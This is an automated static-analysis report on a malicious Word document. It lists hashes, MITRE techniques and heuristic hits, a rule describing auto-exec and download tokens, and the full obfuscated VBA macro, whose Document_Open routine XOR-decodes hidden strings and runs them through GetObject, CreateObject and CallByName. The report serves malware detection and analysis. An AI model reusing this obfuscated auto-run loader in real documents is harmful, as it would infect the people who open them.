Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 fbae148a8cb4ad77…

MALICIOUS

Office (OOXML) / .DOC

19.4 KB Created: 2023-06-17 00:13:40 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2023-06-19
MD5: 66053adf88b54cfcada3c2c7637dafb7 SHA-1: f5594ba39a1aa9714b9c809f54ecf3422a3178da SHA-256: fbae148a8cb4ad7722dc7feec2ad6f5a8fc71a85406e80075b55b38a81f9d80f
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

This OOXML document contains a VBA macro with a Document_Open auto-execution subroutine. The macro utilizes CreateObject and CallByName functions, indicative of malicious intent. While the script is obfuscated, its structure suggests it is designed to download and execute a second-stage payload, likely from a remote source. The presence of VBA macros and the auto-execution subroutine strongly suggest a spearphishing attachment attack vector.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Chase = GetObject(InclusIon).CreateObject(Romantic)
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set Chase = GetObject(InclusIon).CreateObject(Romantic)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Chase, Personality, VbMethod, Essay, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4569 bytes
SHA-256: 6ad2698917210fe89f1b1a25e60b63ed10771b824ce8e35133d8be3ad1d9500d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private InclusIon As String
Private Romantic As String
Private Personality As String
Private Function RecoRdings(ByVal SignalS As String) As Variant
Dim ScreenShotS As Long: ScreenShotS = 0: Dim TreaTmenTs() As Byte: Dim SwediSh() As Byte, Hewlett As String, Weddings As Integer





          SwediSh = "l3991cfceb"








                                                                GoTo Wright
Headset:








              Dim Delhi As String
Delhi = InputBox("temper cool")







Pierre:
If ScreenShotS < UBound(TreaTmenTs) Then






              







            Weddings = ScreenShotS Mod (10)
GoTo Tired





Archived:
Hewlett = Hewlett & Chr(TreaTmenTs(ScreenShotS))
ScreenShotS = ScreenShotS + 1
GoTo Pierre
Else
GoTo Stroke
End If






RefeRs:





                                                                            Dim Processors As String
Processors = InputBox("setem ponutn")
Stroke:
RecoRdings = Hewlett
Exit Function
Wright:
TreaTmenTs = Younger(SignalS)
GoTo Pierre








Tired:






                                            TreaTmenTs(ScreenShotS) = Abs(TreaTmenTs(ScreenShotS) Xor SwediSh(Weddings * 2))






                                                GoTo Archived







                 





                                                                        End Function
Private Sub Careful()







               Dim Chase As Object
Dim Essay As String
GoTo Archived
Wanna:






          Personality = RecoRdings(Personality)
Edwards Chase, Essay








                   






                                        Exit Sub
Protocols:





                  InclusIon = RecoRdings(InclusIon)








                                                            Essay = RecoRdings(Essay)
Romantic = RecoRdings(Romantic)
Set Chase = GetObject(InclusIon).CreateObject(Romantic)





                  GoTo Wanna








               Dim Hewlett As String
Hewlett = InputBox("pass")
MsgBox Hewlett







                                                                        InclusIon = Hewlett






Archived:







                




                                                                InclusIon = ActiveDocument.Variables("z7dd").Value: Essay = ActiveDocument.Variables("la25").Value: Romantic = ActiveDocument.Variables("c9f3").Value: Personality = ActiveDocument.Variables("sa13").Value
GoTo Protocols
End Sub
Sub Edwards(ByVal Chase As Object, ByVal Essay As String)
CallByName Chase, Personality, VbMethod, Essay, 0
End Sub
Sub Document_Open()







          GoTo NutteN
Dim Processors As String
Processors = InputBox("Put err code")
Dim Delhi As String
Delhi = InputBox("Optimisrt")
MsgBox Delhi
NutteN:
If Processors = "" Then







                                                            





                 Careful






                                                    End If
End Sub








                                                                Private Function Younger(ByVal RefeRs As String) As Variant
Dim Hewlett() As Byte, i As Long, Weddings As Integer, NutteN As Integer








                                                        





                                            NutteN = Len(RefeRs) / 2: i = 0: ReDim Hewlett(0 To NutteN) As Byte
Processors:








             If i < Len(RefeRs) Then
Weddings = Weddings + 1
Hewlett(Weddings - 1) = Chr(14 + (12 * 2)) & Chr((16 + (4 * 5)) * 2) & Mid(RefeRs, i + 1, 2)





                                                                    i = i + 2
GoTo Processors
Else
GoTo Delhi
Dim Tired As String





                                                







                                                                            





                                                                    Tired = InputBox("Autoscale calculation")
End If







           





Delhi:
Younger = Hewlett
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: 65378e234743ecbca97ba310d175a52d16bedac86714cca52d20bd23fee37fe8

Open this report in the interactive analyzer, or submit your own file for analysis.